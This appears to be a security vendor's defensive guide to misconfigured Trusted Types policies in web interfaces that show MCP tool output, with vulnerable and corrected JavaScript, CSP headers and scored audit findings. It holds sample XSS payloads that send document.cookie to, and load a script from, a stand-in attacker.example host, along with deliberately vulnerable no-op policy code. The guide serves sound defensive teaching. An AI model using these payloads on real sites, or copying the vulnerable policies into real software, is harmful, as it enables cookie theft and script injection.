MCP server security · Trusted Types API · DOM sink protection

MCP server Trusted Types security — no-op policy bypass, default policy abuse, and DOM sink attacks

The Trusted Types API, enforced via the require-trusted-types-for 'script' CSP directive, forces every DOM sink — innerHTML, document.write, eval, script src assignments — to accept only objects created by registered Trusted Types policies. When an MCP server renders tool output into a web interface, Trusted Types is a powerful XSS defense. But a policy that exists yet does no sanitization defeats the entire mechanism. MCP tool output can exploit specific weaknesses: no-op createHTML implementations, default policy fallback abuse, and direct references to trustedTypes.defaultPolicy.

How Trusted Types works — and why the policy implementation is everything

When require-trusted-types-for 'script' is in the CSP, the browser intercepts every assignment to a DOM sink and checks whether the value is an instance of TrustedHTML, TrustedScript, or TrustedScriptURL. Plain strings are rejected with a TypeError. These trusted objects can only be created by calling methods on a registered policy object returned by trustedTypes.createPolicy().

For MCP server web interfaces, tool output typically arrives as a JSON string that gets rendered into the DOM via innerHTML or a UI framework that eventually calls a DOM sink. The security guarantee depends entirely on what happens inside the policy's createHTML function. If that function is a no-op returning the input unchanged, Trusted Types is enabled in name only — the browser will accept the resulting TrustedHTML object without question.

Root cause: Trusted Types enforces that a policy is called before DOM sink assignment. It does not enforce that the policy actually sanitizes the input. A policy that returns its input string unchanged is valid from the browser's perspective but provides zero security benefit against MCP tool output XSS.

Attack 1: Permissive no-op createHTML policy

The most common Trusted Types mistake is registering a policy to silence browser TypeError errors during migration without implementing any sanitization. Developers register an "escape" or "compat" policy that returns the input string as-is. Tool output passes through to the DOM sink unmodified.

// VULNERABLE: "escape" policy registered to silence Trusted Types errors
// during library migration. The policy is a no-op — it returns the input string unchanged.

const policy = trustedTypes.createPolicy('escape', {
  createHTML: (s) => s,          // DANGER: no sanitization — passes input through
  createScript: (s) => s,
  createScriptURL: (url) => url,
})

// Later, in the MCP tool output renderer:
function renderToolOutput(output) {
  // This "satisfies" Trusted Types enforcement — no TypeError is thrown.
  // But the policy is a no-op, so XSS payloads pass through unmodified.
  outputDiv.innerHTML = policy.createHTML(output.content)

  // If output.content contains:
  // '<img src=x onerror="fetch(\'https://attacker.example/?c=\'+document.cookie)">'
  // → XSS executes. The policy offered no protection.
}

// CORRECT: Policy must sanitize inside createHTML
import DOMPurify from 'dompurify'

const safePolicy = trustedTypes.createPolicy('mcp-safe', {
  createHTML: (s) => DOMPurify.sanitize(s, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'code', 'pre', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href'],
    ALLOW_DATA_ATTR: false,
  }),
  createScriptURL: (url) => {
    const parsed = new URL(url)
    if (parsed.protocol !== 'https:') throw new TypeError('Non-HTTPS script URL blocked')
    return url
  },
  createScript: (_s) => { throw new TypeError('Dynamic script creation not permitted') },
})

Attack 2: Default policy fallback abuse

Trusted Types allows registering a policy named 'default'. When a string is assigned to a DOM sink without first wrapping it in a trusted object, the browser automatically invokes the default policy's createHTML method with the string as an argument. This is designed for incremental migration — it lets legacy code keep working while Trusted Types is being adopted. In production it becomes a critical mistake if the default policy is permissive.

// VULNERABLE: default policy registered to ease migration.
// Any string assigned directly to a DOM sink now flows through this policy.
// Legacy MCP renderer code that was never ported to explicit policy calls still works —
// and any MCP tool output injected via those unported code paths bypasses sanitization.

trustedTypes.createPolicy('default', {
  createHTML: (s) => {
    // Developer added logging thinking this provides visibility
    console.warn('TT default policy called:', s.slice(0, 80))
    return s  // But still returns unsanitized string!
  },
})

// Now this unported legacy renderer works without modification — and is exploitable:
function legacyRenderToolOutput(html) {
  // Plain string assigned to innerHTML — browser invokes the default policy automatically.
  // The policy logs the call and returns the string unchanged.
  // MCP tool output with XSS payloads renders and executes.
  document.getElementById('output').innerHTML = html
}

// The correct migration sequence:
// 1. Register a SANITIZING default policy temporarily:
trustedTypes.createPolicy('default', {
  createHTML: (s) => DOMPurify.sanitize(s),
})
// 2. Port all innerHTML calls to explicit policy.createHTML() calls
// 3. Remove the default policy entirely once migration is complete
// 4. Add 'trusted-types [policy-name]' to CSP to allowlist only named policies —
//    this prevents any new default policy from being registered accidentally

Production rule: Never ship a default Trusted Types policy. Its existence means any string — including MCP tool output injected via a code path you haven't audited — bypasses explicit sanitization requirements silently. The default policy should exist only during a time-bounded migration sprint.

Attack 3: Direct trustedTypes.defaultPolicy reference

Even without the default policy being invoked implicitly by legacy code, if a default policy is registered, any JavaScript on the page can access it via trustedTypes.defaultPolicy and call its createHTML method directly. If MCP tool output triggers script execution through any separate vulnerability, it can use the default policy reference to construct TrustedHTML objects from arbitrary attacker-controlled strings and inject them into any DOM sink.

// Scenario: default policy is registered for migration.
// A second vulnerability (stored XSS in a lower-sensitivity field,
// postMessage handler without origin check, etc.) gives attacker code execution.
// The attacker's script now has a reference to the default policy
// and can use it to bypass sanitization at ANY DOM sink.

// Attacker payload executed via some other vulnerability:
const dp = trustedTypes.defaultPolicy
if (dp) {
  // defaultPolicy.createHTML() creates a TrustedHTML object from any string.
  // The browser accepts it at any DOM sink — no other policy check occurs.
  document.body.innerHTML = dp.createHTML(
    '<script src="https://attacker.example/payload.js"></script>'
  )
  // ↑ Executes. The attacker has escalated from limited XSS to full page control.
}

// Without a default policy: trustedTypes.defaultPolicy === null
// The same payload fails — there is no trusted reference to abuse.

// Defense: strict CSP trusted-types allowlist
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types mcp-safe
//
// The 'trusted-types mcp-safe' directive means:
// - Only the 'mcp-safe' policy can be registered
// - Any attempt to call trustedTypes.createPolicy('default', ...) throws TypeError
// - trustedTypes.defaultPolicy remains null

DOM sinks covered by Trusted Types

Understanding which sinks Trusted Types covers tells you exactly which MCP tool output rendering paths need to go through a policy. Any uncovered sink is outside Trusted Types enforcement and requires separate input validation and output encoding.

DOM sink Type required Policy method
element.innerHTML, element.outerHTML TrustedHTML createHTML()
element.insertAdjacentHTML() TrustedHTML createHTML()
document.write(), document.writeln() TrustedHTML createHTML()
DOMParser.parseFromString(str, 'text/html') TrustedHTML createHTML()
Range.createContextualFragment() TrustedHTML createHTML()
script.src assignment TrustedScriptURL createScriptURL()
eval(), Function() constructor TrustedScript createScript()
setTimeout(string), setInterval(string) TrustedScript createScript()

Not covered by Trusted Types: element.href, img.src, CSS injection via style attribute, and navigation URL sinks. These require separate defenses: URL scheme allowlisting, CSP style-src, and output encoding for URL attributes.

Correct Trusted Types implementation for MCP tool output

A correctly implemented Trusted Types policy for rendering MCP tool output must sanitize inside createHTML, not merely wrap the string. DOMPurify 3.x integrates natively with Trusted Types and is the recommended implementation.

// Full correct implementation for MCP server tool output rendering

import DOMPurify from 'dompurify'  // npm install dompurify (3.x)

// 1. Register a named policy that calls DOMPurify inside createHTML.
//    Use a restrictive allowlist — do not pass DOMPurify defaults through.
const mcpOutputPolicy = trustedTypes.createPolicy('mcp-output', {
  createHTML(dirty) {
    return DOMPurify.sanitize(dirty, {
      ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'code', 'pre',
                     'ul', 'ol', 'li', 'a', 'br', 'hr', 'blockquote'],
      ALLOWED_ATTR: ['href', 'title'],
      ALLOW_DATA_ATTR: false,
      ADD_ATTR: [],
      FORBID_TAGS: ['script', 'style', 'iframe', 'form', 'input', 'button'],
      FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover'],
    })
    // Returns a plain string that the policy wrapper converts to TrustedHTML
  },
  createScriptURL(url) {
    const parsed = new URL(url)
    const allowedHosts = ['cdn.skillaudit.dev', 'static.skillaudit.dev']
    if (parsed.protocol !== 'https:' || !allowedHosts.includes(parsed.hostname)) {
      throw new TypeError(`Untrusted script URL rejected: ${parsed.href}`)
    }
    return url
  },
  createScript(_s) {
    // Never allow dynamic script creation from tool output
    throw new TypeError('Dynamic script creation from MCP tool output is blocked')
  },
})

// 2. Use the policy to render tool output
function renderMcpToolOutput(container, output) {
  const trustedContent = mcpOutputPolicy.createHTML(output.content)
  // trustedContent is a TrustedHTML object — accepted by innerHTML without TypeError
  container.innerHTML = trustedContent
}

// 3. CSP headers to enforce Trusted Types and restrict policy creation
// Content-Security-Policy:
//   require-trusted-types-for 'script';
//   trusted-types mcp-output;
//   script-src 'self' 'nonce-{per-request-random}';
//   connect-src 'self'
//
// 'trusted-types mcp-output' means ONLY the 'mcp-output' policy can be created.
// Attempts to register 'default' or any other policy throw TypeError.

// 4. Gradual migration: use report-only first
// Content-Security-Policy-Report-Only:
//   require-trusted-types-for 'script';
//   trusted-types mcp-output;
//   report-uri /api/tt-violations

DOMPurify Trusted Types mode: DOMPurify 3.x supports RETURN_TRUSTED_TYPE: true which returns a TrustedHTML object directly when Trusted Types is active in the browser. This allows calling element.innerHTML = DOMPurify.sanitize(dirty, { RETURN_TRUSTED_TYPE: true }) without needing a manual createPolicy wrapper — DOMPurify registers its own internal policy named dompurify. Add trusted-types dompurify to your CSP allowlist in this case.

SkillAudit findings

Critical
Trusted Types policy with no-op createHTML (s => s) — Policy is registered and the Trusted Types CSP directive is present but createHTML performs no sanitization. MCP tool output passes through to DOM sinks unmodified. Trusted Types is disabled in effect. −25 pts
High
Default Trusted Types policy in production — A policy named 'default' is registered, enabling implicit string-to-TrustedHTML conversion for all legacy DOM sink assignments. Any MCP tool output rendered via unported code paths bypasses sanitization silently. −18 pts
High
Missing require-trusted-types-for 'script' CSP directive — Trusted Types policies may be present in code but without the CSP directive they are not enforced. DOM sink assignments with plain strings succeed without triggering a TypeError. −15 pts
Medium
No trusted-types allowlist in CSPrequire-trusted-types-for 'script' is set but no trusted-types [name] allowlist is present. A compromised dependency can register a permissive policy at runtime and use it to bypass sanitization for any DOM sink. −10 pts
Low
Trusted Types in report-only mode in production — Violations are collected but enforcement is absent. Content-Security-Policy-Report-Only is a migration aid, not a security control. −5 pts

Run an audit →

See also